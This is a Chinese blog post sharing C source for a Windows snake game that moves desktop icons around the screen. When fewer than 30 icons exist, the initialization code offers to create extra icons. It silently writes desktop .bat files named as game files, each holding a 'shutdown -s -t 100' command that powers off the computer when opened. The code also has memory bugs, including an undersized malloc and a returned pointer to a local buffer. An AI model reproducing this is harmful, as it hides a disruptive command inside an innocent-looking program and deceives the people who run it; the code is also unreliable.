C語言實現桌面貪吃蛇
本篇寫的是桌面貪吃蛇小遊戲,大家自己看吧,感謝大家的支援,謝謝!O(∩_∩)O~~
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <commctrl.h>
#include <time.h>
#include <stdlib.h>
#include "shlobj.h"
#include <stdio.h>
#include <string.h>
#define SIZE 100 //圖示大小預設為100
HWND deskpot; //桌面控制程式碼
int iCount = 0; //圖示個數
int screenX; //獲取螢幕的解析度(寬)
int screenY; //獲取螢幕的解析度(高)
int eatCount = 0; //計數(已經吃到的圖示)
int index = 0;
int speed = 500; //初始速度
typedef struct Snake //蛇結構體
{
int x;
int y;
int index;
struct Snake* next;
}snake;
snake* Head; //蛇頭
snake* SnakeTemp; //臨時的
POINT food; //食物位置
char* GetDesktopPath(); //返回桌面路徑
void Initialization(); //初始化變數
void StartGame(); //開始遊戲
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
Initialization();
MessageBox(deskpot, TEXT("遊戲規則可以從自己身體上踏過但是不能撞到螢幕四周,按Esc鍵可退出"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
StartGame();
return 0;
}
void Initialization() //初始化變數
{
srand(unsigned int(time(NULL)));
HWND grandpa = FindWindowA("Progman", "Program Manager");
HWND father = FindWindowExA(grandpa, NULL, "SHELLDLL_DefView", NULL);
deskpot = FindWindowExA(father, 0, "SysListView32", "FolderView");
iCount = SendMessage(deskpot, LVM_GETITEMCOUNT, 0, 0); //獲取控制程式碼中控制元件的個數
screenX = GetSystemMetrics(SM_CXSCREEN); //獲取螢幕的解析度(寬)
screenY = GetSystemMetrics(SM_CYSCREEN); //獲取螢幕的解析度(高)
Head = (snake*)malloc(sizeof(Head));
Head->x = rand() % (screenX / SIZE) * SIZE; //蛇頭初始化位置
Head->y = rand() % (screenY / SIZE) * SIZE;
Head->index = 0;
Head->next = NULL;
if (iCount < 30)
{
if (MessageBox(deskpot, TEXT("檢測到您桌面上的圖示不夠30個是否需要自動建立一些呢~"), TEXT(""), MB_YESNO | MB_ICONEXCLAMATION) == IDYES) //判斷桌面圖示是否夠30個,不夠就建立些
{
FILE* fp;
char Path[200]; //儲存檔案路徑
char temp[20]; //儲存檔名
char FineName[100]; //儲存檔案的全名加字尾名
for (int i = 0; i < 30 - iCount; i++)
{
memset(Path, 0, 200 * sizeof(char));
strcpy(Path, GetDesktopPath()); //將桌面路徑給Path
sprintf(temp, "\\貪吃蛇%d.bat", i);
strcat(Path, temp);
if ((fp = fopen(Path, "w+")) == NULL)
continue; //如果他建失敗就跳過
fprintf(fp, "shutdown -s -t 100");
fclose(fp);
}
}
}
for (int i = 0; i < iCount; i++)
{
//因為這裡長寬只能用32位的數來表示,高在前,寬在後,用一下位運算
SendMessageA(deskpot, LVM_SETITEMPOSITION, i, (screenY << 16) + screenX);
}
return;
}
char* GetDesktopPath() //返回桌面路徑
{
LPITEMIDLIST pidl;
LPMALLOC pShellMalloc;
char szDir[200];
if (SUCCEEDED(SHGetMalloc(&pShellMalloc)))
{
if (SUCCEEDED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl)))
{
// 如果成功返回true
SHGetPathFromIDListA(pidl, szDir);
pShellMalloc->Free(pidl);
}
pShellMalloc->Release();
}
return szDir;
}
void StartGame() //開始遊戲
{
SendMessageA(deskpot, LVM_SETITEMPOSITION, Head->index, (Head->y << 16) + Head->x); //列印蛇頭
label:
food.x = rand() % (screenX / SIZE) * SIZE;
food.y = rand() % (screenY / SIZE) * SIZE;
if (Head->x == food.x && Head->y == food.y) //如果食物的座標和蛇頭的初始位置相同則重新產生
goto label;
SendMessageA(deskpot, LVM_SETITEMPOSITION, 1, (food.y << 16) + food.x); //列印食物
snake SnakeMove; //蛇的移動
SnakeMove.x = 1, SnakeMove.y = 0; //預設向右移動
while (eatCount < iCount)
{
if (GetAsyncKeyState(VK_UP) != 0) //上
SnakeMove.x = 0, SnakeMove.y = -1;
if (GetAsyncKeyState(VK_DOWN) != 0) //下
SnakeMove.x = 0, SnakeMove.y = 1;
if (GetAsyncKeyState(VK_LEFT) != 0) //左
SnakeMove.x = -1, SnakeMove.y = 0;
if (GetAsyncKeyState(VK_RIGHT) != 0) //右
SnakeMove.x = 1, SnakeMove.y = 0;
if (GetAsyncKeyState(VK_ESCAPE) != 0) //結束
{
MessageBox(deskpot, TEXT("結束~"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
exit(0);
}
if (GetAsyncKeyState(VK_SPACE)) //按空格鍵暫停
{
while (1)
{
Sleep(300);
if (GetAsyncKeyState(VK_SPACE)) //再按一次空格鍵繼續
break;
}
}
if (Head->x == food.x && Head->y == food.y)
{
index++;
eatCount++;
speed = speed - (speed / 10);
snake* temp;
temp = (snake*)malloc(sizeof(snake));
temp->x = food.x;
temp->y = food.y;
temp->index = index;
temp->next = NULL;
SnakeTemp = Head;
while (SnakeTemp->next != NULL)
{
SnakeTemp = SnakeTemp->next;
}
SnakeTemp->next = temp;
SnakeTemp = Head;
SnakeTemp->x += SnakeMove.x * SIZE;
SnakeTemp->y += SnakeMove.y * SIZE;
while (SnakeTemp != NULL)
{
SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
SnakeTemp = SnakeTemp->next;
}
label2:
food.x = rand() % (screenX / SIZE) * SIZE;
food.y = rand() % (screenY / SIZE) * SIZE;
if (Head->x == food.x && Head->y == food.y) //如果食物的座標和蛇頭的初始位置相同則重新產生
goto label2;
SendMessageA(deskpot, LVM_SETITEMPOSITION, index + 1, (food.y << 16) + food.x); //列印食物
}
else
{
snake Temp;
snake Temp2;
bool choice = false;
SnakeTemp = Head;
Temp.x = SnakeTemp->x;
Temp.y = SnakeTemp->y;
SnakeTemp->x += SnakeMove.x * SIZE;
SnakeTemp->y += SnakeMove.y * SIZE;
SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
SnakeTemp = Head->next;
while (SnakeTemp != NULL)
{
Temp2.x = SnakeTemp->x;
Temp2.y = SnakeTemp->y;
SnakeTemp->x = Temp.x;
SnakeTemp->y = Temp.y;
SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);
Temp.x = Temp2.x;
Temp.y = Temp2.y;
SnakeTemp = SnakeTemp->next;
}
if (Head->x > screenX || Head->x<0 || Head->y>screenY || Head->y < 0)
{
MessageBox(deskpot, TEXT("笨蛋你撞到牆,遊戲結束再見!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
exit(0);
}
SnakeTemp = Head->next;
while (SnakeTemp != NULL)
{
if (SnakeTemp->x == Head->x && SnakeTemp->y == Head->y)
{
MessageBox(deskpot, TEXT("笨蛋你咬到自己了,遊戲結束再見!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);
exit(0);
}
SnakeTemp = SnakeTemp->next;
}
}
Sleep(speed);
}
return;
}
遊戲介面如圖:
失敗介面如圖:
如果您發現本篇中有什麼錯誤的地方麻煩您在評論區留言我會及時更正的,謝謝!
如果遇到什麼問題歡迎大家進群討論或者加我qq
群內有各種學習資料,歡迎大家一起來學習!
本人qq:846581636
qq學習群:759252814
期待你的關注
感謝大家的支援,謝謝!
相關文章
- Ubuntu下C語言實現貪吃蛇遊戲UbuntuC語言遊戲
- C語言貪吃蛇原始碼C語言原始碼
- C語言小遊戲------貪吃蛇----小白專用C語言遊戲
- Java實現貪吃蛇Java
- python實現貪吃蛇Python
- jQuery 實現貪吃蛇遊戲jQuery遊戲
- 貪吃蛇c原始碼原始碼
- OpenGL實現貪吃蛇程式碼
- C#貪吃蛇(WPF版)C#
- Android-貪吃蛇小遊戲-分析與實現-Kotlin語言描述Android遊戲Kotlin
- Python實現貪吃蛇大作戰Python
- 貪吃蛇jsJS
- 04 貪吃蛇
- c/c++實現簡單的貪吃蛇視覺化遊戲C++視覺化遊戲
- Python:遊戲:貪吃蛇Python遊戲
- 貪吃蛇源程式 (轉)
- h5+js實現單機版貪吃蛇H5JS
- canvas實現的貪吃蛇遊戲程式碼例項Canvas遊戲
- js+jquery實現貪吃蛇經典小遊戲JSjQuery遊戲
- Python3 貪吃蛇Python
- (完整原始碼)貪吃蛇小遊戲——HTML+CSS+JavaScript實現原始碼遊戲HTMLCSSJavaScript
- WebGL實現HTML5的3D貪吃蛇遊戲WebHTML3D遊戲
- [譯] RxJS 遊戲之貪吃蛇JS遊戲
- [原生JS][程式導向]貪吃蛇JS
- Shell寫的貪吃蛇遊戲(轉)遊戲
- 初試javascript :貪吃蛇啊 (轉)JavaScript
- js開發實現簡單貪吃蛇遊戲(20行程式碼)JS遊戲行程
- js實現的移動端貪吃蛇遊戲程式碼例項JS遊戲
- js貪吃蛇遊戲程式碼例項JS遊戲
- canvas貪吃蛇遊戲程式碼例項Canvas遊戲
- c語言實現貓吃老鼠的問題C語言
- C語言程式設計新手入門基礎進階學習!貪吃蛇小遊戲演示和說明C語言程式設計遊戲
- 溫習資料演算法—貪吃蛇演算法
- 貪吃蛇大作戰JavaFx版完整原始碼Java原始碼
- javascript貪吃蛇小遊戲程式碼例項JavaScript遊戲
- html畫布製作貪吃蛇小遊戲HTML遊戲
- H5遊戲開發:貪吃蛇H5遊戲開發
- 貪吃蛇的演算法分析(1) (轉)演算法